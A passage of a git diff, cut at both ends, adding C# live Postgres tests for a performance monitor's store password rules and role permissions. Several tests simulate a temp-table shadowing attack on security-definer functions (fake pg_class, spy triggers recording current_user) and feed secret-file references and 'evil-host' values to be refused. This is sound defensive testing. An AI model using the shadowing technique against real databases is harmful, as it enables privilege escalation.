+                    && !text.Contains("StoreMetricDailyPoint", StringComparison.Ordinal))
+                {
+                    continue;
+                }
+
+                /* Comments are blanked by the shared walker, not a line-prefix filter, so a // note or a block comment that names RowCount is not read as a use. */
+                var lines = CSharpSourceWalker.StripCommentsAndStrings(text).Split('\n');
+                for (var i = 0; i < lines.Length; i++)
+                {
+                    var line = lines[i].Trim();
+                    if (!Regex.IsMatch(line, @"\bRowCount\b"))
+                    {
+                        continue;
+                    }
+
+                    if (allowed.Any(a => Regex.IsMatch(line, a)))
+                    {
+                        if (line.StartsWith("row_count = ", StringComparison.Ordinal))
+                        {
+                            passThroughs++;
+                        }
+
+                        continue;
+                    }
+
+                    offenders.Add($"{project}/{relative}:{i + 1}: {line}");
+                }
+            }
+        }
+
+        /* An empty scan is how a guard starts reporting clean, so a moved tree or a renamed pass-through fails here. */
+        Assert.True(scanned >= 100, $"the product scan found only {scanned} source files; the projects have moved");
+        Assert.True(passThroughs >= 2, $"expected the two tool pass-throughs (the latest row and the daily point), found {passThroughs}");
+        Assert.True(offenders.Count == 0, string.Join(Environment.NewLine, offenders));
+    }
+
     private static string RepoRoot([CallerFilePath] string thisFile = "")
     {
         var dir = Path.GetDirectoryName(thisFile);
diff --git a/Darling/Darling.Tests/StoreServerPasswordRulesLiveTests.cs b/Darling/Darling.Tests/StoreServerPasswordRulesLiveTests.cs
new file mode 100644
index 0000000000..59a41d5604
--- /dev/null
+++ b/Darling/Darling.Tests/StoreServerPasswordRulesLiveTests.cs
@@ -0,0 +1,644 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and touches nothing on the
+   shared one. The managed role names are cluster-wide, so it runs in the pg-cluster-roles collection (#5602), alone,
+   with the other classes that provision them, and it skips when a set of those names already exists on the rig. */
+
+/// <summary>
+/// The store's own password rules, as the roles that meet them. The shipped provisioning batch runs whole on a scratch
+/// store, then each role connects as itself: the viewer, admin and MCP roles hand the store a password and never a
+/// reference (env: or file:), and a change of how a server is reached keeps no stored password. The store owner is held
+/// to neither, so a configuration-file seed and --add-server keep working, and a row already in the table is never
+/// touched. Each scenario runs against the managed batch's text and against the self-managed script's.
+/// </summary>
+[Collection("pg-cluster-roles")]
+public sealed class StoreServerPasswordRulesLiveTests
+{
+    private const string ReferenceSentence = "Enter the password itself. References (env: or file:) can only be set in the configuration file.";
+    private const string MoveSentence = "Changing how this server is reached needs its password again: it is stored encrypted and this surface cannot read it back.";
+    private const string RemediationSentence = "This server has a remediation login stored. Change how it is reached on the service host, in the configuration file or with --add-server.";
+    private const string ReferenceState = "PW001";
+    private const string MoveState = "PW002";
+    private const string RemediationState = "PW003";
+
+    private static string RequireLivePostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the store password rule tests (each mints its own scratch database).");
+        return connectionString!;
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<string?> TextAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToString(await command.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    private static string OwnerRoleOf(NpgsqlConnection owner)
+        => new NpgsqlConnectionStringBuilder(owner.ConnectionString).Username ?? "darling";
+
+    private static async Task<NpgsqlConnection> ConnectAsync(string ownerString, string role, string password, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(new NpgsqlConnectionStringBuilder(ownerString)
+        {
+            Username = role,
+            Password = password,
+            SearchPath = "collect,config,public",
+            Pooling = false,
+        }.ConnectionString);
+        await connection.OpenAsync(ct);
+        return connection;
+    }
+
+    /// <summary>The function and trigger as the self-managed script carries them, cut out of the script's text.</summary>
+    private static string ByoRulesSql()
+    {
+        var script = RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql").Replace("\r\n", "\n", StringComparison.Ordinal);
+        var start = script.IndexOf("CREATE OR REPLACE FUNCTION config.monitored_server_password_rules()", StringComparison.Ordinal);
+        Assert.True(start >= 0, "provision-roles.sql carries no password rules function");
+        const string triggerEnd = "EXECUTE FUNCTION config.monitored_server_password_rules();";
+        var end = script.IndexOf(triggerEnd, start, StringComparison.Ordinal);
+        Assert.True(end >= 0, "provision-roles.sql carries no password rules trigger");
+        return script[start..(end + triggerEnd.Length)];
+    }
+
+    /// <summary>The edit function as the self-managed script carries it, cut out of the script's text: the 17-argument
+    /// function and the 15-argument wrapper that follows it (#5452).</summary>
+    private static string ByoEditFunctionSql()
+    {
+        var script = RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql").Replace("\r\n", "\n", StringComparison.Ordinal);
+        var start = script.IndexOf("CREATE OR REPLACE FUNCTION config.edit_monitored_server(", StringComparison.Ordinal);
+        Assert.True(start >= 0, "provision-roles.sql carries no edit function");
+        const string functionEnd = "$fn$;";
+        var end = script.IndexOf(functionEnd, start, StringComparison.Ordinal);
+        Assert.True(end >= 0, "provision-roles.sql carries no end for the edit function");
+        var wrapperEnd = script.IndexOf(functionEnd, end + functionEnd.Length, StringComparison.Ordinal);
+        Assert.True(wrapperEnd >= 0, "provision-roles.sql carries no end for the edit function's legacy wrapper");
+        return script[start..(wrapperEnd + functionEnd.Length)];
+    }
+
+    private static async Task InsertServerAsync(
+        NpgsqlConnection connection, int id, string host, string? secret, string? remediationSecret, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            "INSERT INTO config_monitored_servers (server_id, name, host, database, auth, username, encrypted_password, remediation_encrypted_password, engine, port) " +
+            "VALUES ($1, $2, $3, 'master', 'sql', 'monitor', $4, $5, 'sqlserver', 0)", connection);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = id });
+        command.Parameters.AddWithValue("srv-" + id);
+        command.Parameters.AddWithValue(host);
+        command.Parameters.AddWithValue(secret is null ? DBNull.Value : secret);
+        command.Parameters.AddWithValue(remediationSecret is null ? DBNull.Value : remediationSecret);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<PostgresException> RefusedAsync(Func<Task> write, string sqlState, string sentence)
+    {
+        var ex = await Assert.ThrowsAsync<PostgresException>(write);
+        Assert.Equal(sqlState, ex.SqlState);
+        Assert.Equal(sentence, ex.MessageText);
+        return ex;
+    }
+
+    private static async Task<string?> EditOutcomeAsync(
+        NpgsqlConnection role, int id, string columns, string? host, string? secret, NpgsqlConnection ownerConnection, CancellationToken ct)
+    {
+        var token = await TextAsync(ownerConnection, $"SELECT to_char(modified_at, 'YYYY-MM-DD HH24:MI:SS.US') FROM config_monitored_servers WHERE server_id = {id}", ct);
+        string Lit(string? value) => value is null ? "NULL" : "'" + value.Replace("'", "''", StringComparison.Ordinal) + "'";
+        return await TextAsync(role,
+            $"SELECT outcome FROM config.edit_monitored_server({id}, '{token}'::timestamp, ARRAY[{columns}]::text[], NULL, {Lit(host)}, NULL, NULL, NULL, NULL, NULL, {Lit(secret)}, NULL, NULL, NULL, NULL)", ct);
+    }
+
+    private static async Task RunScenarioAsync(bool selfManagedText, Func<string, NpgsqlConnection, CancellationToken, Task> body)
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+
+        await using (var owner = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await owner.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(owner, ct);
+            Assert.SkipWhen(
+                await TextAsync(owner, "SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp'))", ct) == "True",
+                "A cluster-wide admin/viewer/mcp role already exists on this rig; the managed provisioning batch would adopt it.");
+        }
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = new NpgsqlConnection(new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = "collect,config,public" }.ConnectionString);
+            await owner.OpenAsync(ct);
+            var batch = DarlingManagedRoles.BuildProvisioningSql(
+                ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp,
+                15, PasswordReassert.All, ProvisioningTarget.ComposeStore(OwnerRoleOf(owner), scratch.DatabaseName));
+            await ExecAsync(owner, batch, ct);
+            if (selfManagedText)
+            {
+                await ExecAsync(owner, ByoEditFunctionSql(), ct);
+                await ExecAsync(owner, ByoRulesSql(), ct);
+            }
+
+            await body(scratch.ConnectionString, owner, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+                await ExecAsync(cleanup,
+                    "DROP OWNED BY admin, viewer, mcp; DROP ROLE IF EXISTS admin; DROP ROLE IF EXISTS viewer; DROP ROLE IF EXISTS mcp", cleanupCt));
+        }
+    }
+
+    private const string ProtectedBlob = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA-a-protected-blob";
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task TheViewerRole_GivesThePasswordItself_NeverAReference(bool selfManagedText)
+    {
+        await RunScenarioAsync(selfManagedText, async (ownerString, owner, ct) =>
+        {
+            await using var viewer = await ConnectAsync(ownerString, "viewer", ProvisioningTestSecrets.ViewerPassword, ct);
+
+            await RefusedAsync(() => InsertServerAsync(viewer, 7301, "h-env", "env:SOME_SECRET", null, ct), ReferenceState, ReferenceSentence);
+            await RefusedAsync(() => InsertServerAsync(viewer, 7302, "h-file", "file:/run/secrets/sql_password", null, ct), ReferenceState, ReferenceSentence);
+            await RefusedAsync(() => InsertServerAsync(viewer, 7303, "h-rem", ProtectedBlob, "file:/run/secrets/remediation", ct), ReferenceState, ReferenceSentence);
+            Assert.Equal("0", await TextAsync(owner, "SELECT count(*) FROM config_monitored_servers", ct));
+
+            /* The rule is the resolver's own: case-sensitive, at the start of the text. A password that merely contains the
+               prefix, or spells it another way, is a password. */
+            await InsertServerAsync(viewer, 7304, "h-plain", ProtectedBlob, null, ct);
+            await InsertServerAsync(viewer, 7305, "h-upper", "ENV:NOT_A_REFERENCE", null, ct);
+            await InsertServerAsync(viewer, 7306, "h-lead", " env:NOT_A_REFERENCE", null, ct);
+            await InsertServerAsync(viewer, 7307, "h-inside", "xenv:NOT_A_REFERENCE", null, ct);
+            await InsertServerAsync(viewer, 7308, "h-none", null, null, ct);
+            Assert.Equal("5", await TextAsync(owner, "SELECT count(*) FROM config_monitored_servers", ct));
+
+            /* The edit function: a reference is refused with its own outcome and nothing is written. */
+            Assert.Equal("reference_refused", await EditOutcomeAsync(viewer, 7304, "'encrypted_password'", null, "env:SOME_SECRET", owner, ct));
+            Assert.Equal("reference_refused", await EditOutcomeAsync(viewer, 7304, "'encrypted_password'", null, "file:/run/secrets/x", owner, ct));
+            Assert.Equal("reference_refused", await EditOutcomeAsync(viewer, 7304, "'host','encrypted_password'", "moved-host", "file:/run/secrets/x", owner, ct));
+            Assert.Equal(ProtectedBlob, await TextAsync(owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 7304", ct));
+            Assert.Equal("h-plain", await TextAsync(owner, "SELECT host FROM config_monitored_servers WHERE server_id = 7304", ct));
+
+            /* What the function does for the web edit still works: a move with a new password is saved (its own UPDATE
+               runs as the function's owner), a move without one is still asked for the password, an ordinary password is
+               stored as given. */
+            Assert.Equal("password_needed", await EditOutcomeAsync(viewer, 7304, "'host'", "moved-host", null, owner, ct));
+            Assert.Equal("saved", await EditOutcomeAsync(viewer, 7304, "'host','encrypted_password'", "moved-host", "a-new-protected-blob", owner, ct));
+            Assert.Equal("moved-host", await TextAsync(owner, "SELECT host FROM config_monitored_servers WHERE server_id = 7304", ct));
+            Assert.Equal("a-new-protected-blob", await TextAsync(owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 7304", ct));
+        });
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task TheAdminRole_CannotSetAReference_OrMoveAServerThatKeepsItsStoredPassword(bool selfManagedText)
+    {
+        await RunScenarioAsync(selfManagedText, async (ownerString, owner, ct) =>
+        {
+            await InsertServerAsync(owner, 7401, "keep-host", ProtectedBlob, null, ct);
+            await InsertServerAsync(owner, 7402, "ref-host", "file:/run/secrets/sql_password", null, ct);
+            await InsertServerAsync(owner, 7403, "rem-host", ProtectedBlob, "AQAAANCMnd8-a-remediation-blob", ct);
+            await using var admin = await ConnectAsync(ownerString, "admin", ProvisioningTestSecrets.AdminPassword, ct);
+
+            /* A reference, set by an update or inserted. */
+            await RefusedAsync(() => ExecAsync(admin, "UPDATE config_monitored_servers SET encrypted_password = 'file:/run/secrets/other' WHERE server_id = 7401", ct), ReferenceState, ReferenceSentence);
+            await RefusedAsync(() => ExecAsync(admin, "UPDATE config_monitored_servers SET encrypted_password = 'env:OTHER', host = 'own-host' WHERE server_id = 7401", ct), ReferenceState, ReferenceSentence);
+            await RefusedAsync(() => ExecAsync(admin, "UPDATE config_monitored_servers SET remediation_encrypted_password = 'env:OTHER' WHERE server_id = 7401", ct), ReferenceState, ReferenceSentence);
+            await RefusedAsync(() => ExecAsync(admin, "UPDATE config_monitored_servers SET encrypted_password = 'file:/run/secrets/changed' WHERE server_id = 7402", ct), ReferenceState, ReferenceSentence);
+            await RefusedAsync(() => InsertServerAsync(admin, 7404, "new-env", "env:SOME_SECRET", null, ct), ReferenceState, ReferenceSentence);
+            await RefusedAsync(() => InsertServerAsync(admin, 7405, "new-file", "file:/etc/secret", null, ct), ReferenceState, ReferenceSentence);
+
+            /* A move that keeps the stored password: the host, the port, the engine, and each of the other connection fields. */
+            foreach (var change in new[]
+            {
+                "host = 'own-host'", "port = 5432", "engine = 'postgresql'", "database = 'other'", "read_only_intent = TRUE",
+                "auth = 'serviceprincipal'", "username = 'someone-else'", "encrypt_mode = 'Optional'",
+                "trust_server_certificate = TRUE", "multi_subnet_failover = TRUE",
+            })
+            {
+                await RefusedAsync(() => ExecAsync(admin, $"UPDATE config_monitored_servers SET {change} WHERE server_id = 7401", ct), MoveState, MoveSentence);
+            }
+
+            /* A new password is not enough while a remediation password is still stored with it, and a move that keeps a
+               stored reference is refused like any other. */
+            await RefusedAsync(() => ExecAsync(admin, "UPDATE config_monitored_servers SET host = 'own-host', encrypted_password = 'a-new-protected-blob' WHERE server_id = 7403", ct), RemediationState, RemediationSentence);
+            await RefusedAsync(() => ExecAsync(admin, "UPDATE config_monitored_servers SET host = 'own-host' WHERE server_id = 7403", ct), RemediationState, RemediationSentence);
+            await RefusedAsync(() => ExecAsync(admin, "UPDATE config_monitored_servers SET host = 'own-host' WHERE server_id = 7402", ct), MoveState, MoveSentence);
+            Assert.Equal("keep-host", await TextAsync(owner, "SELECT host FROM config_monitored_servers WHERE server_id = 7401", ct));
+            Assert.Equal(ProtectedBlob, await TextAsync(owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 7401", ct));
+
+            /* What an admin write may still do. */
+            await ExecAsync(admin, "UPDATE config_monitored_servers SET host = 'new-host', encrypted_password = 'a-new-protected-blob' WHERE server_id = 7401", ct);
+            Assert.Equal("new-host", await TextAsync(owner, "SELECT host FROM config_monitored_servers WHERE server_id = 7401", ct));
+            await ExecAsync(admin, "UPDATE config_monitored_servers SET host = 'cleared-host', encrypted_password = NULL, auth = 'integrated' WHERE server_id = 7401", ct);
+            await ExecAsync(admin, "UPDATE config_monitored_servers SET name = 'renamed', is_enabled = FALSE, monthly_cost_usd = 12, excluded_databases = '{a}' WHERE server_id = 7402", ct);
+            await ExecAsync(admin, "UPDATE config_monitored_servers SET trust_server_certificate = trust_server_certificate WHERE server_id = 7402", ct);
+            Assert.Equal("file:/run/secrets/sql_password", await TextAsync(owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 7402", ct));
+            await InsertServerAsync(admin, 7406, "admin-plain", ProtectedBlob, null, ct);
+
+            /* The Viewer's edit is an upsert that sends the stored value back: an unchanged reference passes, a changed one
+               does not, and neither lets a move keep the stored password. */
+            const string upsert =
+                "INSERT INTO config_monitored_servers (server_id, name, host, database, auth, username, encrypted_password, engine, port) " +
+                "VALUES (7402, 'renamed again', {0}, 'master', 'sql', 'monitor', {1}, 'sqlserver', 0) " +
+                "ON CONFLICT (server_id) DO UPDATE SET name = EXCLUDED.name, host = EXCLUDED.host, encrypted_password = EXCLUDED.encrypted_password";
+            await ExecAsync(admin, string.Format(System.Globalization.CultureInfo.InvariantCulture, upsert, "'ref-host'", "'file:/run/secrets/sql_password'"), ct);
+            Assert.Equal("renamed again", await TextAsync(owner, "SELECT name FROM config_monitored_servers WHERE server_id = 7402", ct));
+            await RefusedAsync(() => ExecAsync(admin, string.Format(System.Globalization.CultureInfo.InvariantCulture, upsert, "'ref-host'", "'file:/run/secrets/changed'"), ct), ReferenceState, ReferenceSentence);
+            await RefusedAsync(() => ExecAsync(admin, string.Format(System.Globalization.CultureInfo.InvariantCulture, upsert, "'own-host'", "'file:/run/secrets/sql_password'"), ct), MoveState, MoveSentence);
+            await RefusedAsync(() => ExecAsync(admin, string.Format(System.Globalization.CultureInfo.InvariantCulture, upsert.Replace("7402", "7499", StringComparison.Ordinal), "'ref-host'", "'file:/run/secrets/sql_password'"), ct), ReferenceState, ReferenceSentence);
+            Assert.Equal("ref-host", await TextAsync(owner, "SELECT host FROM config_monitored_servers WHERE server_id = 7402", ct));
+        });
+    }
+
+    /// <summary>
+    /// A role that may create a temporary table puts one named like a catalog or a table the store's code reads first in its
+    /// own session: the rules and the edit function name what they read, and keep the temporary schema last.
+    /// </summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task ATemporaryTableNamedLikeACatalogOrAStoreTable_ChangesNothingTheRulesOrTheEditFunctionRead(bool selfManagedText)
+    {
+        await RunScenarioAsync(selfManagedText, async (ownerString, owner, ct) =>
+        {
+            await InsertServerAsync(owner, 7901, "keep-host", ProtectedBlob, null, ct);
+            await using var viewer = await ConnectAsync(ownerString, "viewer", ProvisioningTestSecrets.ViewerPassword, ct);
+            await using var mcp = await ConnectAsync(ownerString, "mcp", ProvisioningTestSecrets.McpPassword, ct);
+
+            static async Task ShadowCatalogAsync(NpgsqlConnection role, CancellationToken token)
+            {
+                await ExecAsync(role, "CREATE TEMP TABLE pg_class (oid oid, relowner oid)", token);
+                await ExecAsync(role,
+                    "INSERT INTO pg_class VALUES ('config.config_monitored_servers'::regclass, (SELECT oid FROM pg_catalog.pg_roles WHERE rolname = current_user))", token);
+            }
+
+            await ShadowCatalogAsync(viewer, ct);
+            await RefusedAsync(() => InsertServerAsync(viewer, 7902, "h-env", "env:SOME_SECRET", null, ct), ReferenceState, ReferenceSentence);
+
+            await ShadowCatalogAsync(mcp, ct);
+            await RefusedAsync(() => ExecAsync(mcp, "UPDATE config_monitored_servers SET host = 'moved' WHERE server_id = 7901", ct), MoveState, MoveSentence);
+            Assert.Equal("keep-host", await TextAsync(owner, "SELECT host FROM config_monitored_servers WHERE server_id = 7901", ct));
+
+            /* The edit function reads and writes the store's table, not a temporary table of the same name. */
+            await ExecAsync(viewer, "CREATE TEMP TABLE config_monitored_servers (server_id integer)", ct);
+            Assert.Equal("saved", await EditOutcomeAsync(viewer, 7901, "'host','encrypted_password'", "moved-host", "a-new-protected-blob", owner, ct));
+            Assert.Equal("moved-host", await TextAsync(owner, "SELECT host FROM config_monitored_servers WHERE server_id = 7901", ct));
+        });
+    }
+
+    /// <summary>
+    /// A role that may create temporary objects puts a table named like each table the two definer functions use
+    /// (<c>config.edit_monitored_server</c> and <c>config.record_custom_alert_resolution</c>) in its own session, with a
+    /// trigger on it that would record who runs it. Called as that role, each function writes the store's table and the trigger
+    /// never fires.
+    /// </summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task ATemporaryTableAndTriggerNamedLikeAStoreTable_IsNeverUsedByTheDefinerFunctions(bool selfManagedText)
+    {
+        await RunScenarioAsync(selfManagedText, async (ownerString, owner, ct) =>
+        {
+            var next = 7950;
+            foreach (var (roleName, password) in new[] { ("viewer", ProvisioningTestSecrets.ViewerPassword), ("mcp", ProvisioningTestSecrets.McpPassword) })
+            {
+                var serverId = next++;
+                var metric = "shadow-metric-" + roleName;
+                await InsertServerAsync(owner, serverId, "keep-host", ProtectedBlob, null, ct);
+                await using var role = await ConnectAsync(ownerString, roleName, password, ct);
+
+                await ExecAsync(role, "CREATE TEMP TABLE trigger_log (who text)", ct);
+                await ExecAsync(role,
+                    "CREATE FUNCTION pg_temp.shadow_trigger() RETURNS trigger LANGUAGE plpgsql AS $fn$ " +
+                    "BEGIN INSERT INTO pg_temp.trigger_log VALUES (current_user); RETURN NEW; END $fn$", ct);
+
+                await ExecAsync(role,
+                    "CREATE TEMP TABLE config_monitored_servers (server_id integer, name text, host text, port integer, database text, " +
+                    "read_only_intent boolean, auth text, username text, encrypted_password text, remediation_encrypted_password text, " +
+                    "encrypt_mode text, trust_server_certificate boolean, multi_subnet_failover boolean, monthly_cost_usd numeric, modified_at timestamp)", ct);
+                var token = await TextAsync(owner, $"SELECT to_char(modified_at, 'YYYY-MM-DD HH24:MI:SS.US') FROM config_monitored_servers WHERE server_id = {serverId}", ct);
+                await ExecAsync(role,
+                    $"INSERT INTO config_monitored_servers (server_id, host, auth, modified_at) VALUES ({serverId}, 'keep-host', 'sql', '{token}'::timestamp)", ct);
+                await ExecAsync(role,
+                    "CREATE TRIGGER shadow BEFORE UPDATE ON config_monitored_servers FOR EACH ROW EXECUTE FUNCTION pg_temp.shadow_trigger()", ct);
+
+                await ExecAsync(role,
+                    "CREATE TEMP TABLE config_alert_log (alert_time timestamp, server_id integer, server_name text, metric_name text, " +
+                    "current_value double precision, threshold_value double precision, alert_sent boolean, notification_type text, " +
+                    "send_error text, muted boolean, detail_text text, context_json text)", ct);
+                await ExecAsync(role,
+                    "CREATE TRIGGER shadow BEFORE INSERT ON config_alert_log FOR EACH ROW EXECUTE FUNCTION pg_temp.shadow_trigger()", ct);
+
+                Assert.Equal("saved", await TextAsync(role,
+                    $"SELECT outcome FROM config.edit_monitored_server({serverId}, '{token}'::timestamp, ARRAY['host','encrypted_password']::text[], " +
+                    "NULL, 'moved-host', NULL, NULL, NULL, NULL, NULL, 'a-new-protected-blob', NULL, NULL, NULL, NULL)", ct));
+                await ExecAsync(role, $"SELECT config.record_custom_alert_resolution({serverId}, 'srv', '{metric}', 'detail')", ct);
+
+                Assert.Equal("0", await TextAsync(role, "SELECT count(*) FROM pg_temp.trigger_log", ct));
+                Assert.Equal("moved-host", await TextAsync(owner, $"SELECT host FROM config_monitored_servers WHERE server_id = {serverId}", ct));
+                Assert.Equal("1", await TextAsync(owner, $"SELECT count(*) FROM config_alert_log WHERE server_id = {serverId} AND metric_name = '{metric}'", ct));
+                Assert.Equal("keep-host", await TextAsync(role, $"SELECT host FROM pg_temp.config_monitored_servers WHERE server_id = {serverId}", ct));
+                Assert.Equal("0", await TextAsync(role, "SELECT count(*) FROM pg_temp.config_alert_log", ct));
+            }
+        });
+    }
+
+    private const string RemediationBlob = "AQAAANCMnd8-a-remediation-blob";
+
+    /// <summary>
+    /// A change to how a server is reached on a row that holds a remediation login is refused by the edit function whatever
+    /// else the call sends, and nothing is written; the same call on a row without one saves. The store's own trigger refuses
+    /// the same change made directly, with the same sentence.
+    /// </summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task AChangeToHowAServerIsReached_OnARowWithARemediationLogin_IsRefusedAndWritesNothing(bool selfManagedText)
+    {
+        await RunScenarioAsync(selfManagedText, async (ownerString, owner, ct) =>
+        {
+            await InsertServerAsync(owner, 8001, "rem-viewer", ProtectedBlob, RemediationBlob, ct);
+            await InsertServerAsync(owner, 8002, "plain-viewer", ProtectedBlob, null, ct);
+            await InsertServerAsync(owner, 8003, "rem-mcp", ProtectedBlob, RemediationBlob, ct);
+            await InsertServerAsync(owner, 8004, "plain-mcp", ProtectedBlob, null, ct);
+            await using var viewer = await ConnectAsync(ownerString, "viewer", ProvisioningTestSecrets.ViewerPassword, ct);
+            await using var mcp = await ConnectAsync(ownerString, "mcp", ProvisioningTestSecrets.McpPassword, ct);
+
+            foreach (var (role, remediationId, plainId, host) in new[] { (viewer, 8001, 8002, "rem-viewer"), (mcp, 8003, 8004, "rem-mcp") })
+            {
+                Assert.Equal("remediation_kept", await EditOutcomeAsync(role, remediationId, "'host','encrypted_password'", "evil-host", "typed-anything", owner, ct));
+                Assert.Equal("remediation_kept", await EditOutcomeAsync(role, remediationId, "'host'", "evil-host", null, owner, ct));
+                Assert.Equal(host + "|" + ProtectedBlob + "|" + RemediationBlob,
+                    await TextAsync(owner, $"SELECT host || '|' || encrypted_password || '|' || remediation_encrypted_password FROM config_monitored_servers WHERE server_id = {remediationId}", ct));
+
+                /* A change that is not to how the row is reached still saves, and leaves the remediation login alone. */
+                Assert.Equal("saved", await EditOutcomeAsync(role, remediationId, "'encrypted_password'", null, "a-new-protected-blob", owner, ct));
+                Assert.Equal(RemediationBlob, await TextAsync(owner, $"SELECT remediation_encrypted_password FROM config_monitored_servers WHERE server_id = {remediationId}", ct));
+
+                Assert.Equal("saved", await EditOutcomeAsync(role, plainId, "'host','encrypted_password'", "moved-host", "a-new-protected-blob", owner, ct));
+                Assert.Equal("moved-host", await TextAsync(owner, $"SELECT host FROM config_monitored_servers WHERE server_id = {plainId}", ct));
+            }
+
+            await RefusedAsync(() => ExecAsync(mcp, "UPDATE config_monitored_servers SET host = 'evil-host' WHERE server_id = 8003", ct), RemediationState, RemediationSentence);
+            await RefusedAsync(() => ExecAsync(mcp, "UPDATE config_monitored_servers SET host = 'evil-host', encrypted_password = 'typed-anything' WHERE server_id = 8003", ct), RemediationState, RemediationSentence);
+            Assert.Equal("rem-mcp", await TextAsync(owner, "SELECT host FROM config_monitored_servers WHERE server_id = 8003", ct));
+
+            /* The login name the remediation secret was stored for is part of how the row is reached: it does not change
+               while the secret stays, and does on a row that holds none. */
+            var before = await TextAsync(owner, "SELECT COALESCE(remediation_username, '(none)') FROM config_monitored_servers WHERE server_id = 8003", ct);
+            await RefusedAsync(() => ExecAsync(mcp, "UPDATE config_monitored_servers SET remediation_username = 'another-login' WHERE server_id = 8003", ct), RemediationState, RemediationSentence);
+            Assert.Equal(before, await TextAsync(owner, "SELECT COALESCE(remediation_username, '(none)') FROM config_monitored_servers WHERE server_id = 8003", ct));
+            await ExecAsync(mcp, "UPDATE config_monitored_servers SET remediation_username = 'another-login' WHERE server_id = 8004", ct);
+            Assert.Equal("another-login", await TextAsync(owner, "SELECT remediation_username FROM config_monitored_servers WHERE server_id = 8004", ct));
+        });
+    }
+
+    /// <summary>
+    /// A self-managed store's rules are created on the service's start, as the role that owns its tables, when the script was
+    /// not re-run after an upgrade; running it again changes nothing, and a login that may not create them gets one warning
+    /// that names the script and fails nothing. Rules already in place from another role raise no warning; a function that
+    /// differs raises one.
+    /// </summary>
+    [Fact]
+    public async Task ASelfManagedStoreWithNoRules_GetsThemFromTheServicesStart_AndALoginThatMayNotCreateThemGetsOneWarning()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        var login = "rules_probe_" + Guid.NewGuid().ToString("N")[..8];
+        const string triggerCount = "SELECT count(*) FROM pg_trigger WHERE tgrelid = 'config.config_monitored_servers'::regclass AND tgname = 'trg_monitored_server_password_rules'";
+        const string functionCount = "SELECT count(*) FROM pg_proc WHERE oid = 'config.monitored_server_password_rules()'::regprocedure";
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+            await owner.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(owner, ct);
+            Assert.Equal("0", await TextAsync(owner, triggerCount, ct));
+
+            var log = new CapturingTestLogger();
+            await using (var ownerSource = NpgsqlDataSource.Create(scratch.ConnectionString))
+            {
+                Assert.True(await DarlingManagedRoles.EnsureServerPasswordRulesAsync(ownerSource, log, ct), log.Joined);
+                Assert.True(await DarlingManagedRoles.EnsureServerPasswordRulesAsync(ownerSource, log, ct), log.Joined);
+            }
+
+            Assert.Equal("1", await TextAsync(owner, triggerCount, ct));
+            Assert.Equal("1", await TextAsync(owner, functionCount, ct));
+            Assert.Equal(0, log.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+
+            await ExecAsync(owner, "DROP TRIGGER trg_monitored_server_password_rules ON config.config_monitored_servers", ct);
+            await ExecAsync(owner, $"CREATE ROLE {login} LOGIN PASSWORD 'rules-probe-1'", ct);
+            var restricted = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { Username = login, Password = "rules-probe-1" }.ConnectionString;
+            var warned = new CapturingTestLogger();
+            await using (var restrictedSource = NpgsqlDataSource.Create(restricted))
+            {
+                Assert.False(await DarlingManagedRoles.EnsureServerPasswordRulesAsync(restrictedSource, warned, ct), warned.Joined);
+            }
+
+            Assert.Equal(1, warned.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
